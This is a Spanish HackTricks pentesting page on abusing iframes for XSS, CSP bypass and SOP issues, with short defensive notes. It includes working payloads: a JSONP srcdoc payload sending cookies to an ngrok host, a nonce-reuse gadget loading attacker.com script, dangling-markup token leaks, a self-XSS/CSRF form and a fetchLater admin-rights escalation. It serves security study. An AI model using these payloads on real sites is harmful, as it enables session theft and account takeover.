Iframes en XSS, CSP y SOP

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

Iframes en XSS

Hay 3 formas de indicar el contenido de una página embebida en un iframe:

  • Via src indicando una URL (la URL puede ser cross origin o same origin)
  • Via src indicando el contenido usando el protocolo data:
  • Via srcdoc indicando el contenido

Accediendo a vars Parent & Child

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Si accedes al HTML anterior a través de un servidor http (como python3 -m http.server) notarás que todos los scripts se ejecutarán (ya que no hay una CSP que lo impida). El documento padre no podrá acceder a la variable secret dentro de ningún iframe y solo los iframes if2 & if3 (que se consideran same-site) pueden acceder al secret en la ventana original.
Nota que if4 se considera que tiene origen null.

srcdoc particularidades que importan en exploits reales

Dos detalles de srcdoc son fáciles de pasar por alto durante la explotación:

  • A menos que el frame esté sandboxed sin allow-same-origin, un documento srcdoc es same-origin con el documento padre. Por lo tanto, inyectar HTML controlado por el atacante en srcdoc suele ser equivalente a darle acceso directo al DOM del documento superior.
  • Aunque la URL del documento sea about:srcdoc, las URLs relativas se resuelven usando la URL de la página que lo incrusta como base. Esto significa que payloads como <script src="/upload/payload.js"></script> o <img src="/internal/debug"> apuntarán al origen del documento padre, no a about:srcdoc.

Practical payload:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

Esto es especialmente útil cuando solo controlas el markup pero conoces una ruta same-origin que devuelve JavaScript, JSONP, o HTML controlados por el atacante sin una CSP restrictiva.

Iframes con CSP

Tip

Tenga en cuenta cómo en los siguientes bypasses la respuesta de la página iframed no contiene ningún encabezado CSP que impida la ejecución de JS.

The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Por lo tanto, es posible bypass the CSP de una página con:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Fíjate cómo la CSP anterior solo permite la ejecución del inline script.
Sin embargo, solo los scripts if1 y if2 se van a ejecutar pero solo if1 podrá acceder al secret del parent.

Por lo tanto, es posible realizar un bypass a una CSP si puedes subir un archivo JS al servidor y cargarlo vía iframe incluso con script-src 'none'. Esto potencialmente también se puede hacer abusando de un same-site JSONP endpoint.

Puedes probar esto con el siguiente escenario donde se roba una cookie incluso con script-src 'none'. Simplemente ejecuta la aplicación y accede a ella con tu navegador:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Nuevas técnicas de CSP bypass (2023-2025) con iframes

La comunidad investigadora sigue descubriendo formas creativas de abusar de iframes para eludir políticas restrictivas. A continuación puedes encontrar las técnicas más destacadas publicadas durante los últimos años:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Cuando una aplicación refleja HTML pero una CSP fuerte bloquea la ejecución de scripts, todavía puedes leak tokens sensibles inyectando un atributo dangling <iframe name>. Una vez que el marcado parcial se parsea, el script del atacante que se ejecuta en un origen separado navega el frame a about:blank y lee window.name, que ahora contiene todo hasta la siguiente comilla (por ejemplo un CSRF token). Como no se ejecuta JavaScript en el contexto de la víctima, el ataque normalmente evade script-src 'none'. Un PoC mínimo es:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – Los nonces de CSP son legibles desde el DOM por documentos same-origin. Si un atacante puede inyectar o subir una página HTML same-origin y cargarla en un iframe, el frame hijo puede leer top.document.querySelector('[nonce]').nonce y crear nuevos elementos <script nonce>. Esto convierte una inyección HTML same-origin en ejecución completa de scripts incluso bajo strict-dynamic (porque el nonce ya es de confianza). El siguiente gadget escala una inyección de markup a XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – Una página que omite la directiva form-action puede ver su formulario de login redirigido desde un iframe inyectado o HTML inline para que los gestores de contraseñas autocompleten y envíen credenciales a un dominio externo, incluso cuando script-src 'none' está presente. ¡Siempre complementa default-src con form-action!

Notas defensivas (lista de verificación rápida)

  1. Envía siempre todas las directivas de CSP que controlan contextos secundarios (form-action, frame-src, child-src, object-src, etc.).
  2. No confíes en que los nonces sean secretos: usa strict-dynamic y elimina los puntos de inyección.
  3. Cuando debas embeber documentos no confiables, usa sandbox="allow-scripts allow-same-origin" con mucha precaución (o sin allow-same-origin si solo necesitas aislamiento de ejecución de scripts).
  4. Considera un despliegue de defensa en profundidad COOP+COEP; el nuevo atributo <iframe credentialless> (§ abajo) te permite hacerlo sin romper embeds de terceros.

Otros Payloads encontrados en entornos reales

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

El contenido dentro de un iframe puede estar sujeto a restricciones adicionales mediante el uso del atributo sandbox. Por defecto, este atributo no se aplica, lo que significa que no hay restricciones.

Cuando se utiliza, el atributo sandbox impone varias limitaciones:

  • El contenido se trata como si proviniera de un origen único.
  • Cualquier intento de enviar formularios queda bloqueado.
  • La ejecución de scripts está prohibida.
  • El acceso a ciertas APIs está deshabilitado.
  • Evita que los enlaces interactúen con otros contextos de navegación.
  • El uso de plugins vía <embed>, <object>, <applet> o etiquetas similares no está permitido.
  • Se impide que el propio contenido navegue el contexto de navegación de nivel superior.
  • Se bloquean características que se activan automáticamente, como la reproducción de video o el autoenfoque de controles de formulario.

Consejo: Los navegadores modernos soportan flags granulares como allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, etc. Combínalos para otorgar solo las capacidades mínimas requeridas por la aplicación embebida.

El valor del atributo puede dejarse vacío (sandbox="") para aplicar todas las restricciones mencionadas. Alternativamente, puede establecerse como una lista de valores separados por espacios que eximan al iframe de ciertas restricciones.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Si la página embebida es same-origin y otorgas tanto allow-scripts como allow-same-origin, el sandbox se convierte en una barrera muy débil. El iframe hijo puede ejecutar JavaScript, acceder a top.document e incluso eliminar el atributo sandbox de su propio elemento <iframe>:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

En la práctica, sandbox="allow-scripts allow-same-origin" debe considerarse inseguro para contenido de mismo origen influenciado por un atacante. Sigue siendo útil para algunos embeds de terceros, pero no es un límite de aislamiento frente a HTML hostil del mismo origen.

Credentialless iframes

Como se explica en this article, el flag credentialless en un iframe se usa para cargar una página dentro de un iframe sin enviar credenciales en la petición, mientras se mantiene la política de mismo origen (SOP) de la página cargada en el iframe.

Desde Chrome 110 (February 2023) la función está habilitada por defecto y la especificación se está estandarizando en los navegadores bajo el nombre anonymous iframe. MDN lo describe como: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consecuencias para atacantes y defensores:

  • Los scripts en diferentes credentialless iframes aún comparten el mismo top-level origin y pueden interactuar libremente vía el DOM, haciendo factibles ataques multi-iframe self-XSS (ver PoC abajo).
  • Debido a que la red está credential-stripped, cualquier petición dentro del iframe se comporta efectivamente como una sesión no autenticada – los endpoints protegidos por CSRF suelen fallar, pero las páginas públicas leakable vía DOM siguen estando en alcance.
  • El storage está partitioned by a top-level document nonce: los frames credentialless en la misma página pueden compartir storage entre sí, pero se borra cuando se descarta el documento top-level.
  • Los pop-ups generados desde un credentialless iframe reciben implícitamente rel="noopener", rompiendo algunos flujos OAuth.
  • Se espera que los navegadores desactiven autofill/password managers dentro de credentialless iframes, limitando el robo de credenciales vía autofill en estos contextos.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exploit example: Self-XSS + CSRF

En este ataque, el atacante prepara una página web maliciosa con 2 iframes:

  • An iframe that loads the victim’s page with the credentialless flag with a CSRF that triggers a XSS (Imagin a Self-XSS in the username of the user):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Otro iframe que en realidad tiene al usuario autenticado (sin la bandera credentialless).

Entonces, desde el XSS es posible acceder al otro iframe ya que tienen el mismo SOP y robar la cookie por ejemplo ejecutando:

alert(window.top[1].document.cookie);

fetchLater Attack

Como se indica en this article la API fetchLater permite configurar una petición para que se ejecute más tarde. Esto se puede abusar para, por ejemplo, login a una víctima dentro de la sesión del atacante (con Self-XSS), programar una petición fetchLater (para cambiar la contraseña del usuario actual, por ejemplo) y logout de la sesión del atacante. Entonces, cuando la víctima inicia sesión en su propia cuenta, la petición diferida puede ejecutarse usando las cookies disponibles en el momento del dispatch, cambiando la contraseña de la víctima a la establecida por el atacante.

Notas operativas:

  • fetchLater entered Chrome origin trial in 2024 and shipped in Chrome 135 (April 2025), así que comprueba la disponibilidad de la característica antes de depender de ella.
  • La respuesta no está disponible para JavaScript; body/headers se ignoran una vez que la solicitud diferida es enviada.
  • La aplicación de CSP usa connect-src (no script-src) para las solicitudes diferidas.
  • Las solicitudes se disparan al unload de la página o cuando activateAfter expira (lo que ocurra primero).
  • El retraso máximo por solicitud es actualmente 299000 ms, por lo que esperas largas requieren reprogramar varias solicitudes diferidas.

De este modo, incluso si la URL de la víctima no puede cargarse en un iframe (debido a CSP u otras restricciones), el atacante aún puede ejecutar una solicitud en la sesión de la víctima.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

Iframes en SOP

Consulta las siguientes páginas:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks